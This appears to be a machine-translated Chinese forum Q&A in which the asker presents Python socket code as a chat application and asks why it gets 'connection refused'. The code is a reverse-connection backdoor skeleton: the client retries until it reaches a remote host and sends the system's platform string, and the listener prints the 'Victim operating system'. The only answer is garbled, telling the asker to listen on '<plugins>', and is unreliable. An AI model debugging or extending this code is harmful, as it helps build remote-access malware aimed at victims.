当我尝试通过套接字(像聊天应用程序)python建立外部连接时,我得到
[Errno 111]连接被拒绝
while True:
try:
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
break
except socket.error as e:
print(str(e))
time.sleep(5)
continue
self.reliable_send(platform.platform())
def __init__(self, ip="0.0.0.0", port=55000):
self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.listener.bind((ip, port))
self.listener.listen(1)
print("[+] Waiting for incoming connections")
(self.connection, address) = self.listener.accept()
print("[+] Got a connection from :" + address[0])
print("[+] Victim operating system :" + self.reliable_receive())
有什么错误? 我已经在服务器和运行应用程序的服务器上打开了该端口,但是它没有任何连接! 谢谢
答案 0 :(得分:0)
尝试听<plugins>
而不是0.0.0.0